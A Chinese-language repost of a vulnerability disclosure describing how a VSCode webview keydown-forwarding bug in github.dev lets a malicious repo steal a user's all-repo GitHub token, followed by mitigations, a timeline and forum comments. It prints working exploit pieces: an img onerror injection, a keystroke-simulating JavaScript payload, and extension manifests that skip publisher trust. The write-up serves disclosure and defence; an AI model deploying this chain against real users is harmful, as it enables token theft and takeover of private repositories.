← 返回 Siami 首頁

VSCode 漏洞讓 GitHub Token 一鍵被盜:點個連結就能偷走你所有 repo 權限

▲ 551 💬 81
VSCode 漏洞讓 GitHub Token 一鍵被盜:點個連結就能偷走你所有 repo 權限

1-Click GitHub Token Stealing via a VSCode Bug(VSCode 漏洞讓 GitHub Token 一鍵被盜)

只要點擊一個連結,攻擊者就能竊取一組能讀寫你所有 GitHub 儲存庫(包含私有儲存庫)的 GitHub Token。

目錄

  • 背景
  • VSCode Webview 安全模型
  • 漏洞本體
  • 概念驗證(PoC)與自我保護
  • VSCode 做得好的地方
  • 為何選擇完整公開揭露
  • 時間軸

背景

你知道 GitHub 有個叫做 github.dev 的超酷功能嗎?只要在任何你有權限的儲存庫頁面,把網址從 github.com 改成 github.dev,或是點這個小選單:

你就會被帶進一個輕量版的 VSCode,整個跑在瀏覽器裡(用 Electron 寫的應用程式跑在瀏覽器裡也算是一種優勢吧)。

這個瀏覽器版的 VSCode 還挺強的:你可以看見儲存庫裡所有檔案(即使它是私有 repo),可以發 pull request,甚至可以直接 commit。

這個功能是這樣實作的:github.com 用 POST 把一組 OAuth token 傳給 github.dev,讓它代替你跟 GitHub 互動。問題是,這組 token 並沒有綁定你當下操作的特定 repo——也就是說它對你所有有權限的 repo 都有完整存取權。

有這組 token 存在,加上這個網頁應用本質上跑了 VSCode 幾乎一整個百萬行 TypeScript 程式碼庫,對想挖 VSCode bug 的人來說,無疑是個完美攻擊目標。

這篇文章就是要探討這類漏洞,並示範攻擊者怎麼把你的 GitHub token 偷走。

VSCode Webview 安全模型

VSCode 在桌機上是個 Electron app,所以能在 VSCode 裡執行任意 JavaScript 等同於完整的遠端程式碼執行(RCE)。這就是為什麼 VSCode 實作了一連串沙盒機制,我們這裡要專注看的是 Webview。

Webview 用了 <iframe> 搭配與主 VSCode 視窗不同 origin 來實作,確保裡面跑的 JavaScript 完全隔離。Webview 通常用在像是 Markdown 預覽、編輯 Jupyter notebook 等功能:

Cell 的輸出會被 render 到 origin 為 vscode-webview://... 的 <iframe> 裡,而主 Electron 視窗的 origin 是 vscode-file://...。

這代表即使 Jupyter notebook 用內建功能顯示 HTML,或是用 JavaScript 寫互動小工具,VSCode 主程式本身都會被保護起來。沒辦法在這個 iframe 裡用 Electron 整合的 Node.js API,也沒辦法從這個 frame 呼叫 VSCode 的 API。

很好,這給了我們渲染內容的能力,但光渲染靜態內容很無聊對吧?我們要怎麼實作「Markdown 預覽要跟你說你現在 highlight 哪一行」、或「邊打字邊更新預覽」這類功能?

賦予我們安全性的 cross-origin 政策,同時也阻止了我們主編輯視窗跟 vscode-webview://... frame 裡的 DOM 互動。畢竟,你不會希望有人用 <iframe> 嵌入了 google.com 之後,hackerman.com 還能對該 iframe 加上鍵盤監聽、偷走你在 google.com 上的所有按鍵紀錄與密碼。

如果要允許這類跨框架互動,唯一的方式就是讓兩個不同 origin 的網頁透過 Window.postMessage() API 互相合作。這個方法可以讓你在不同 window 之間傳遞 JavaScript 物件。

所以在「render 出來的 Markdown 第幾行對應到編輯器第幾行」這個例子裡,主編輯視窗會丟一個像這樣的訊息:

{
  "type": "onDidChangeTextEditorSelection",
  "line": 31
}

然後 webview 裡跑的程式碼會註冊 listener 處理這個訊息,加上 highlight:

window.addEventListener('message', async event => {
  const data = event.data as ToWebviewMessage.Type;
  switch (data.type) {
    // ...
    case 'onDidChangeTextEditorSelection':
      marker.onDidChangeTextEditorSelection(data.line, documentVersion);
      return;
  }
});

備註:瀏覽器版的 VSCode 用的是類似的沙盒模型。VSCode 開發者 Matt Bierner 有一篇很棒的 blogpost 講從 Electron porting 到瀏覽器版的挑戰,滿推薦的。

漏洞本體

所以我們 webview 的安全邊界大致長這樣:

但在 UI 上,webview 確實就嵌在主視窗裡。使用者會期待一些基本操作能正常運作——點連結、拖拉檔案、或按 Ctrl + F 搜尋:

因此 VSCode 透過訊息傳遞機制實作了一大堆這種基本功能。

講到鍵盤快捷鍵,敏銳的讀者如果有處理過 <iframe>,應該已經嗅到問題了。

跟大多數 cross-origin 一樣,瀏覽器對兩個 frame 之間有相當程度的隔離。如果你在 hackerman.com 上 iframe 了 google.com/login,你不會希望 hackerman 的頁面能對那個 iframe 加上鍵盤 listener,讓它能偷看你在 google.com 上的所有按鍵與密碼。

OK,給你這些資訊,現在請點進一個 VSCode webview,然後按 Ctrl + Shift + P 叫出命令面板(command palette)。

哦,有反應耶。

等等。

……慘了。

所以為了避免「你剛好點在 webview 裡,結果鍵盤快捷鍵不能動」這種悲慘的使用者體驗,預設的 webview 訊息處理器有一個叫做 did-keydown 的事件。當你載入一個 webview,底下這段程式碼會在 webview 裡跑、註冊一個 handler:

contentWindow.addEventListener('keydown', handleInnerKeydown);

/**
 * @param {KeyboardEvent} e
 */
const handleInnerKeydown = (e) => {
  // ...
  hostMessaging.postMessage('did-keydown', {
    key: e.key,
    keyCode: e.keyCode,
    code: e.code,
    shiftKey: e.shiftKey,
    altKey: e.altKey,
    ctrlKey: e.ctrlKey,
    metaKey: e.metaKey,
    repeat: e.repeat
  });
};

超方便對吧,webview 把 keydown 事件 bubble 上去,讓主 VSCode 視窗可以像使用者自己按的一樣處理。

但……這完全擋不住我們從不受信任的 webview 裡的 script 假裝是使用者、按一堆按鍵啊。我們可以——比方說——叫出命令面板、執行一些危險指令,像安裝一個攻擊者控制的 extension。

我們只需要一小段 JavaScript,emit 正確的事件來模擬按鍵……

Ctrl + Shift + P    developer: install extension from location    Enter    <attacker controlled extension>    Enter

實際上沒這麼簡單。雖然我們確實可以送出對應的 keydown 事件,但瀏覽器不會把它當作是使用者在打字。所以 VSCode 會跳命令面板出來,但除非 VSCode 是在攔截所有 keydown 事件來逐字元處理,否則我們的事件不會真的把字打進命令面板。

不幸的是,這裡的情況是命令面板小工具只用了一個 HTML <input> 標籤,它並沒有監聽 keydown 事件。我們可以 emit 上/下方向鍵在命令面板裡捲動、按 Enter 選擇指令,但任意字元的 keystroke 是不行的。

幸好 VSCode 預設有超級多的鍵盤快捷鍵,全部都直接監聽 keydown 事件,我們可以善用一下。

經過一連串嘗試,我發現最簡單的方式是利用 「Notifications: Accept Notification Primary Action」 這個指令。預設綁定的快捷鍵 Ctrl + Shift + A 會按下 VSCode 最後跳出的那個通知的主要按鈕。

我們要按哪個通知?VSCode 有個功能是讓你的 workspace 用一個 .vscode/extensions.json 檔案「推薦」extension,長得像這樣:

{
  "recommendations": [
    "HackerMan.my-malicious-extension"
  ]
}

接著我們用 Ctrl + Shift + A 接受那個通知、安裝惡意 extension,這樣就拿到完整程式碼執行權了吧?就這麼簡單?

當然沒這麼簡單。VSCode 從 1.97 版開始有新的「發布者信任機制」,第一次從新發布者安裝 extension 時會跳這個對話框,即使我們在通知裡按下 Install 按鈕:

雖然我們可以送 Tab 鍵在按鈕之間切換,但要按 Trust Publisher & Install 按鈕是不可能的,因為它只在按鈕本身監聽 keydown 事件,而不是整個視窗。

不過我們可以利用另一個 VSCode 功能叫 local workspace extensions。只要你身在一個被信任的 workspace(github.dev/web 的 workspace 永遠是),就可以直接從 .vscode/extensions 安裝 extension。用這種方式安裝的 extension 會跳過發布者信任檢查——因為 workspace 信任已經充當信任檢查了。

所以我們只要把邪惡 payload 塞進 .vscode/extensions/extension.js,就能執行程式碼了對吧?差不多啦,但這麼做會觸發一個 Content Security Policy(CSP) 錯誤,因為載入 extension 的 worker 預期它們來自 vscode-cdn.net。local workspace extension 顯然沒在 web 版的 VSCode 上被好好測試過。

不過這只是個小障礙——extension 可以在 package.json 裡「貢獻」額外的 keybinding 給 VSCode。既然我們能可靠觸發 keybinding,我們可以為任何想跑的 VSCode 指令加一個 keybind——例如「安裝 extension 但跳過發布者信任檢查」。

所以我們的 package.json 最後長這樣,用 runCommands 呼叫 workbench.extensions.installExtension 並跳過發布者信任檢查:

"contributes": {
  "keybindings": [
    {
      "key": "ctrl+f1",
      "command": "runCommands",
      "args": {
        "commands": [
          {
            "command": "workbench.extensions.installExtension",
            "args": [
              "AmmarTest.hello-ammar-github",
              {
                "donotSync": true,
                "context": {
                  "skipPublisherTrust": true
                }
              }
            ]
          }
        ]
      }
    }
  ]
}

概念驗證(PoC)與自我保護

把所有東西兜起來,我們需要的是一個同時帶有 Jupyter notebook 和 local workspace extension 的 repo。

Jupyter notebook 需要執行一點點 JavaScript,這我們用一個 markdown cell 寫個 <img> 標籤就可以做到:

<img src="data:foobar" onerror="javascript(); goes(); here();">

JavaScript payload 要做的事:

  1. 稍等一下,讓 VSCode 跳出「要不要安裝推薦 extension」的對話框
  2. emit Ctrl + Shift + A 的 keydown 事件,接受那個通知
  3. 稍等 extension 安裝並啟用,掛上我們自訂的 keybind
  4. emit Ctrl + F1 的 keydown 事件,觸發安裝我們指定的 extension

payload 最後長這樣:

// 等待 VSCode 載入並跳出通知
await new Promise(r => setTimeout(r, 1500));
// 模擬 Ctrl+Shift+A 接受通知
document.dispatchEvent(new KeyboardEvent('keydown', { key: 'A', code: 'KeyA', ctrlKey: true, shiftKey: true, bubbles: true }));
// 等待 local extension 安裝 + keybind 生效
await new Promise(r => setTimeout(r, 1500));
// 模擬 Ctrl+F1 觸發安裝真正惡意 extension
document.dispatchEvent(new KeyboardEvent('keydown', { key: 'F1', code: 'F1', ctrlKey: true, bubbles: true }));

自保方式(短期):

  • 不要隨便點 github.dev 連結:開 github.dev 之前,確認你點的連結是直接從 github.com 點過去的。如果有人給你一個奇怪的 URL(例如某個 markdown 預覽、PR 評論、Jupyter notebook 預覽),就不要開。
  • 裝在受限的環境:在容器 / 虛擬機裡跑 github.dev,不要用主要工作環境開。
  • 注意擴充套件推薦通知:看到 .vscode/extensions.json 推薦奇怪的 publisher 的 extension,先看清楚再按。

更根本的修法(中期):Microsoft 已經推出 stopgap 修補(見下方時間軸),但 github.dev 應該要改用 per-repo scope 的 token——像 Codespaces 那樣。

VSCode 做得好的地方

要為 VSCode 團隊說句公道話,他們在 Webview 安全模型上下了很多功夫:cross-origin iframe 隔離、postMessage 通訊、預設 keydown event bubble 機制。這些設計在「被當作開發工具」這個用途上是合理的。問題不在於 Webview 模型本身,而在於 did-keydown 事件的處理方式——它把使用者輸入當成 cross-frame 訊息 bubble 出去,於是 script 可以模擬按鍵。

如果 did-keydown 處理器有加任何「來源驗證」(例如只接受來自 trusted webview host 的事件),這個攻擊就不可能成立。

為何選擇完整公開揭露

我完全理解 VSCode 團隊會希望我給他們更長的預先通知時間,好讓他們提出解法。確實在 UI/UX 與安全考量之間要取得平衡,這沒有標準答案。

對這些朋友,我很抱歉,但這是我能影響 MSRC 與 VSCode 安全姿態的少數手段之一。把安全漏洞完整研究、做到概念驗證等級,是要花時間和心力的,這份努力不該被不尊重或視為理所當然。

時間軸

  • 2026 年 6 月 2 日 — 發文前一小時,我主動通知了 GitHub Security 一位舊同事,告知我即將揭露這個 bug。
  • 2026 年 6 月 2 日 — 我在這裡和 VSCode issue tracker 上揭露了這個 bug。
  • 2026 年 6 月 3 日 — Microsoft 推出 stopgap 修補:在 web 版 VSCode 開啟 notebook 時加上確認對話框,並且不允許透過指令跳過發布者信任檢查。

本文相關標籤:#VSCode #GitHub #資訊安全 #漏洞揭露 #RCE #Webview安全 #OAuthToken #開發者工具 #Microsoft #責任揭露

網友熱門留言 (5)

#1 HN 用戶 vdfs ▲ 487
這篇 writeup 寫得很棒。跳出來看整個架構(也許已經看到無關緊要的層級),最可惜的是這個嵌入式 VSCode 編輯器居然是「登入 GitHub 狀態」運作的。不論有沒有 defense-in-depth,光是這個原罪就產生巨大的漏洞表面。想像一下:你的工作站上有組 god-permission 的 GitHub API token 還用明文存在 world-readable 的位置,等著每週出現的惡意 NPM 套件來撈。理想情況下,瀏覽器內的 IDE 應該用一組 per-repo scope 的臨時 token,只允許對那個 repo 拉推——這樣即使 IDE 被入侵,攻擊者也只能動到那個 repo,沒辦法碰其他私有 repo 或 GitHub API。
#2 HN 用戶 jstanley ▲ 312
> 在瀏覽器內的 IDE 用 per-repo scope 的臨時 token 這正是 Codespaces 的做法。Token 只能對你啟動 codespace 的那個 repo 讀寫。他們真的該考慮對 github.dev 也這樣做。
#3 HN 用戶 tptacek ▲ 256
完全沒有藉口。GitHub 在 HackerOne 跑得很棒的 bug bounty program,應該直接送那邊才對。順帶一提,發現這個 bug 的人會不爽,是因為三年前他曾經試過用 MSRC 報 VSCode bug,過程極度痛苦——而且 MSRC 跟 GitHub 的 HackerOne 完全是兩回事,經驗差很多。所以他才會不爽。但說真的,沒有藉口這樣做。應該至少試一下 HackerOne,而不是抱著三年的怨氣直接公開。
#4 HN 用戶 throw0101b ▲ 198
我覺得問題出在 VSCode extension 的根本設計。它們本質上就是 Node.js app,能完整存取 built-in 模組(包含 fs)。如果 VSCode 是用你的使用者權限啟動的,那 extension 技術上可以讀 ~/.ssh 裡的檔案。這不是「安全」的程度,因為你每裝一個 extension,就等於裝了一個新的 Node.js app + 它整包的 dependencies。即使你信任 publisher,我也確定裡面有非常多可利用的洞。
#5 HN 用戶 svara ▲ 142
> 惡意 NPM 套件 這只會越來越糟。我最近注意到 AI 工具(例如 OpenCode)會在背景亂下載 npm 套件,然後到處散落到你的 home 目錄跟專案資料夾裡,完全不會問你或通知你。更慘的是,看起來大家(連開發者自己)都不在乎這件事。